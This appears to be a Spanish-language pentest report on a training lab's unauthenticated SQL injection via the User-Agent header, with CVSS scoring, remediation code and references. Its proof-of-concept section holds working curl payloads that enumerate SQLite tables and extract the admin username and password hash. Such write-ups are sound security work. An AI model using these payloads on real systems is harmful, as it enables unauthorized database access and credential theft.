🔒 CONFIDENCIAL

Reporte de Vulnerabilidad

Inyección SQL no autenticada vía cabecera User-Agent con exposición de credenciales de administrador

ID del Ticket	**VULN-2026-011**
Activo evaluado	**Aplicación web «Logs» (Lab Logs) — base de datos SQLite**
Severidad	**CRÍTICA** **CVSS v3.1 9.1**
Tipo	**SQL Injection vía cabecera HTTP (stored) — CWE-89 / CWE-20**
Cliente	**Software Seguro — Laboratorio Logs**
Analista	**J. M. F. · jmf01111974@gmail.com**
Fecha del reporte	**09 de noviembre de 2026**
Versión	**1.0**

Contenido

1. Resumen Ejecutivo pág. 2
2. Detalles Técnicos pág. 2
3. Métricas CVSS pág. 4
4. Prueba de Concepto (PoC) pág. 5
5. Recomendaciones de Remediación pág. 6
6. Referencias e Historial pág. 8

Este documento contiene información sensible sobre vulnerabilidades de seguridad. Su distribución está restringida al personal autorizado del cliente. Las pruebas se realizaron sobre un entorno de laboratorio con autorización explícita.

1. Resumen Ejecutivo

> Audiencia: dirección y responsables de negocio. Redactado sin tecnicismos.

¿Qué encontramos?

El sitio guarda un registro ("logs") de los visitantes, anotando el tipo de dispositivo que usa cada uno. Ese dato lo toma de una cabecera que **envía automáticamente el navegador** (el "User-Agent") y lo guarda en la base de datos **sin comprobarlo**. Como esa cabecera la puede escribir cualquiera, se logró inyectar un comando que la aplicación ejecutó, llegando a **leer el usuario y la contraseña del administrador**.

¿Por qué importa para el negocio?

Es una **inyección SQL** —de las fallas más graves— con dos agravantes: **no requiere estar logueado** (cualquier visitante anónimo puede dispararla con solo cargar la página) y permitió **robar credenciales de administrador**. A partir de ahí, un atacante tomaría control del panel y de los datos. Habitualmente este tipo de falla permite además leer o alterar toda la base de datos. Implica compromiso total del sitio, exposición de datos y las consiguientes consecuencias legales y reputacionales.

¿Qué tan grave es?

Severidad CRÍTICA — CVSS 9.1. La explotación es remota, anónima y sencilla: basta con modificar una cabecera del navegador. Durante la prueba se enumeró la base de datos SQLite y se extrajeron las credenciales del administrador (`id=1`), obteniéndose el código de verificación del laboratorio (la contraseña del admin).

¿Qué hay que hacer?

Usar **consultas parametrizadas** para guardar los logs (el User-Agent nunca debe concatenarse en el SQL), proteger la sección `/logs` con autenticación y almacenar las contraseñas con **hashing fuerte**, no en texto plano ni con algoritmos débiles.

Riesgo	Probabilidad	Impacto	Urgencia de acción
Compromiso de la base de datos y robo de credenciales de administrador por inyección SQL anónima	Alta	Crítico	**Inmediata**

2. Detalles Técnicos

> Audiencia: equipo de desarrollo y administradores de la plataforma.

2.1 Descripción de la vulnerabilidad

Al cargar la página, la aplicación registra la visita almacenando la cabecera `User-Agent` en una tabla de logs (SQLite). La consulta se construye por **concatenación de cadenas** con el valor de esa cabecera, sin parametrización ni validación, habilitando **SQL Injection** (CWE-89). Es un caso **no autenticado** y de tipo *stored*: el valor malicioso llega por una cabecera HTTP que cualquier cliente controla.

El punto de inyección está dentro de un **literal de cadena**: cerrando la comilla, concatenando una subconsulta con `||` y reabriendo la comilla (`algo' ||(SELECT ...)||'`), el resultado de la subconsulta se incrusta en el valor que se

guarda y luego se muestra en `/logs`. Esto funciona como un canal de exfiltración directo: lo que devuelva la subconsulta aparece en el registro visible.

Observación adicional: la contraseña del administrador se recuperó como un valor de 32 caracteres hexadecimales, compatible con un **hash MD5 sin sal** (algoritmo obsoleto y crackeable), lo que constituye una debilidad de almacenamiento de credenciales (CWE-916/CWE-328).

2.2 Flujo del ataque

- El atacante descubre la sección `/logs` (oculta por oscuridad, no protegida) donde se listan los visitantes y su dispositivo.
- Identifica que el dato guardado proviene de la cabecera `User-Agent` y que responde a la comilla simple (inyectable).
- Dentro del literal de cadena, inyecta subconsultas con `algo' ||(SELECT ...)||'` y enumera la base: tablas (`sqlite_master`), esquema de `users` (`id, username, password`).
- Extrae las credenciales del administrador (`id=1`): el valor aparece en `/logs` y se obtiene el código del laboratorio.

2.3 Clasificación

Categoría	Referencia
Tipo (CWE)	CWE-89 — SQL Injection · CWE-20 — Improper Input Validation (cabecera HTTP no confiable) · CWE-916/CWE-328 — Weak/Unsalted Password Hash (MD5)
Subtipo	Stored SQL Injection vía cabecera HTTP (User-Agent); contexto de concatenación de cadenas
OWASP Top 10 (2021)	A03:2021 — Injection · A07:2021 — Identification and Authentication Failures (credenciales expuestas) · A02:2021 — Cryptographic Failures (hash débil)
OWASP API Security Top 10 (2023)	API8:2023 — Security Misconfiguration
CVE	No aplica (defecto propio de la aplicación, no de un componente de terceros)

2.4 Activos y alcance afectado

Elemento	Detalle
Aplicación	«Logs» (Lab Logs) — base de datos SQLite
Host	`chl-<instancia>-logs.softwareseguro.com.ar` (el subdominio se asigna por instancia/sesión)
Vector de entrada	Cabecera HTTP `User-Agent` (almacenada en los logs al cargar la página)
Superficie de visualización	`/logs` (sección sin autenticación donde se refleja el dato inyectado)
Dato sensible involucrado	Credenciales de administrador (`users.username` / `users.password`) y, potencialmente, toda la base
Alcance	Lectura (y potencial escritura) de la base de datos; toma de control de la cuenta de administrador

2.5 Causa raíz

La consulta de registro de logs se construye por **concatenación de cadenas** con una entrada controlable por el cliente (la cabecera `User-Agent`), que la aplicación **asume confiable**. A ello se suman dos agravantes: la sección `/logs` carece de control de acceso (seguridad por oscuridad) y las contraseñas se almacenan con un **hash débil (MD5 sin sal)**, facilitando su posterior crackeo. Una cabecera que debería ser solo informativa termina controlando la consulta y exponiendo credenciales.

3. Métricas CVSS

Puntuación objetiva y reproducible del riesgo técnico, según CVSS v3.1.

CVSS Base Score	Severidad	Vector
9.1	CRÍTICA	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`

Desglose del vector (métricas base)

Métrica	Valor	Justificación
Attack Vector (AV)	**Network (N)**	La aplicación se explota de forma remota a través de Internet (HTTP/HTTPS).
Attack Complexity (AC)	**Low (L)**	No requiere condiciones especiales: modificar una cabecera HTTP.
Privileges Required (PR)	**None (N)**	No se requiere autenticación: cualquier visitante anónimo envía la cabecera y accede a `/logs`.
User Interaction (UI)	**None (N)**	No requiere que ninguna víctima realice acción alguna.
Scope (S)	**Unchanged (U)**	El impacto permanece dentro de la misma aplicación/base de datos.
Confidentiality (C)	**High (H)**	Exposición de credenciales de administrador y, potencialmente, de toda la base de datos.
Integrity (I)	**High (H)**	La inyección otorga control sobre la consulta y las credenciales obtenidas permiten operar como administrador.
Availability (A)	**None (N)**	No se demostró impacto en la disponibilidad (ver nota).

Nota de criterio: se asigna `PR:N` por tratarse de una inyección no autenticada vía cabecera HTTP, con `/logs` accesible sin credenciales. Si solo se considerara el impacto de lectura demostrado (`I:N`), el puntaje sería **7.5 (Alta)**; si la inyección permitiera operaciones destructivas (`A:H`), alcanzaría **9.8 (Crítica)**.

Verificable en la calculadora oficial: https://www.first.org/cvss/calculator/3.1

4. Prueba de Concepto (PoC)

Reproducción paso a paso. Cualquier técnico con un navegador o curl puede replicar el hallazgo.

4.1 Requisitos previos

- Acceso a la página del laboratorio y a la sección `/logs`.
- Una herramienta para fijar la cabecera `User-Agent` (Burp, o `curl -A`).

4.2 Pasos de reproducción

Paso 1 — Confirmar el canal y la inyección. La sección `/logs` muestra el dispositivo tomado del `User-Agent`. Enviar una comilla simple en esa cabecera altera la respuesta (inyectable).

```
# Subdominio asignado a tu instancia del laboratorio
BASE="https://chl-<instancia>-logs.softwareseguro.com.ar"

# La visita se registra con el User-Agent; una comilla rompe/altera la consulta
curl -s "$BASE/" -A "algo'"
curl -s "$BASE/logs"     # observar la respuesta anómala en el registro
```

Evidencia 1 — El valor del `User-Agent` altera la consulta de registro: SQL Injection confirmada.

Paso 2 — Enumerar tablas (contexto de concatenación). Cerrar el literal, concatenar una subconsulta y reabrir.

```
curl -s "$BASE/" -A "algo' ||(SELECT group_concat(name) FROM sqlite_master WHERE type='table')||'"
curl -s "$BASE/logs"
# -> en el registro aparece: algologs,sqlite_sequence,users
```

Evidencia 2 — Se enumeran las tablas; la relevante es `users`.

Paso 3 — Obtener el esquema de `users`.

```
curl -s "$BASE/" -A "algo' ||(SELECT sql FROM sqlite_master WHERE type='table' AND name='users')||'"
curl -s "$BASE/logs"
# -> CREATE TABLE users (id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT, password TEXT)
```

Evidencia 3 — La tabla `users` no tiene columna de rol; el administrador se identifica por `id=1`.

Paso 4 — Comprobar la existencia del administrador.

```
curl -s "$BASE/" -A "algo' ||(SELECT count(*) FROM users WHERE username='admin')||'"
curl -s "$BASE/logs"     # -> 1 (existe la cuenta admin)
```

Paso 5 — Extraer las credenciales del administrador y verificar.

```
curl -s "$BASE/" -A "algo' ||(SELECT username||':'||password FROM users WHERE id=1)||'"
curl -s "$BASE/logs"
# -> admin:7c16e2dead8630673e7b1cb8570fe32a   (password = código del laboratorio)
```

Evidencia 4 — Objetivo cumplido: se exponen las credenciales del administrador (contraseña = `7c16e2dead8630673e7b1cb8570fe32a`).

> Nota técnica: confirmada la inyección, un atacante podría volcar el resto de la base (tabla `algologs`, todos los usuarios) iterando con `LIMIT/OFFSET`. La contraseña obtenida, un hash MD5, podría crackearse fuera de línea. En esta PoC la demostración se limitó a la cuenta de administrador.

4.3 Resultado esperado vs. obtenido

Esperado (sistema seguro)	Obtenido (sistema vulnerable)
El User-Agent se guarda como dato (consulta parametrizada); una comilla o un `||(SELECT…)` no alteran la consulta, y `/logs` exige autenticación.	El User-Agent inyecta SQL y permite enumerar la base y exfiltrar las credenciales del administrador vía `/logs`.

> ⚠ Nota ética: la PoC se ejecutó únicamente sobre el entorno de laboratorio autorizado, con el impacto mínimo necesario para demostrar el riesgo. No se volcó masivamente la base ni se alteraron registros.

5. Recomendaciones de Remediación

> Audiencia: equipo de desarrollo que implementará la corrección.

5.1 Solución recomendada (prioritaria)

Consultas parametrizadas para el registro de logs. El valor del `User-Agent` (y cualquier cabecera) debe pasar como parámetro vinculado, nunca concatenarse en el SQL.

```
# VULNERABLE: concatena el User-Agent en la consulta de log
ua = request.headers.get("User-Agent", "")
cursor.execute("INSERT INTO algologs (user_agent) VALUES ('" + ua + "')")

# CORREGIDO: parámetro vinculado (la BD trata ua como dato)
ua = request.headers.get("User-Agent", "")
cursor.execute("INSERT INTO algologs (user_agent) VALUES (?)", (ua,))
```

Proteger la sección `/logs`. No es "oculta" si es accesible: exigir autenticación y autorización de administrador para verla.

Almacenar contraseñas con hashing fuerte. Reemplazar MD5 por un algoritmo de derivación con sal (`bcrypt`, `argon2`, `scrypt`) y forzar el cambio de la contraseña del administrador comprometida.

```
# En vez de MD5, usar un hash lento con sal
from argon2 import PasswordHasher
ph = PasswordHasher()
hash = ph.hash(password)        # almacenar este valor
ph.verify(hash, intento)         # verificación
```

5.2 Mitigaciones y buenas prácticas

- **Tratar toda cabecera HTTP como entrada no confiable** (User-Agent, Referer, X-Forwarded-For…); validar longitud/formato.
- **Deshabilitar errores de BD verbosos** en producción (CWE-209).
- **Mínimo privilegio** sobre el archivo SQLite; considerar solo-lectura donde aplique.
- **Rotar y forzar reseteo** de la credencial de administrador expuesta; revisar accesos.
- **Revisión de código / SAST** en todos los puntos que registran datos de la petición.

5.3 Plan de acción

Acción	Responsable	Prioridad	Plazo	Estado
Parametrizar el registro de logs (User-Agent y cabeceras)	Equipo de desarrollo	Crítica	Inmediato	Pendiente
Proteger `/logs` con autenticación de administrador	Equipo de desarrollo	Crítica	Inmediato	Pendiente
Migrar hashes a argon2/bcrypt y resetear la clave de admin comprometida	Equipo de desarrollo	Alta	24–72 h	Pendiente
Revisar el resto del código por SQLi (incl. cabeceras) + mínimo privilegio BD	Desarrollo / SecOps	Alta	15 días	Pendiente

Test de regresión (payloads en cabeceras = sin efecto) y re-test	QA / Seguridad	Alta	Con el fix	Pendiente

5.4 Verificación (re-test)

Repetir los pasos 2 a 5 con payloads en el `User-Agent`. El criterio de aceptación es que el valor se almacene y muestre como texto literal, sin alterar la consulta ni exponer datos internos, que `/logs` exija autenticación, y que las contraseñas se almacenen con hashing fuerte. Confirmar que el registro legítimo de visitas sigue funcionando.

> ✔ Criterio de cierre: el ticket se marca como *Cerrado* cuando el re-test confirma que la inyección vía cabecera ya no es posible, que `/logs` está protegido y que no se exponen credenciales, sin regresiones en la funcionalidad legítima.

6. Referencias e Historial

Referencias

- OWASP Top 10 (2021) — A03 Injection: https://owasp.org/Top10/A03_2021-Injection/
- OWASP Top 10 (2021) — A07 Identification and Authentication Failures: https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/
- CWE-89 — SQL Injection: https://cwe.mitre.org/data/definitions/89.html
- CWE-20 — Improper Input Validation: https://cwe.mitre.org/data/definitions/20.html
- CWE-916 — Use of Password Hash With Insufficient Computational Effort: https://cwe.mitre.org/data/definitions/916.html
- OWASP — SQL Injection Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
- OWASP — Password Storage Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html
- CVSS v3.1 Calculator (FIRST): https://www.first.org/cvss/calculator/3.1

Historial de cambios

Versión	Fecha	Autor	Cambio
1.0	2026-11-09	J. M. F.	Creación del reporte: SQL Injection no autenticada vía cabecera User-Agent con exfiltración de credenciales de administrador.

🔒 Documento confidencial — uso interno / cliente autorizado únicamente. Las pruebas se realizaron en un entorno de laboratorio con autorización explícita.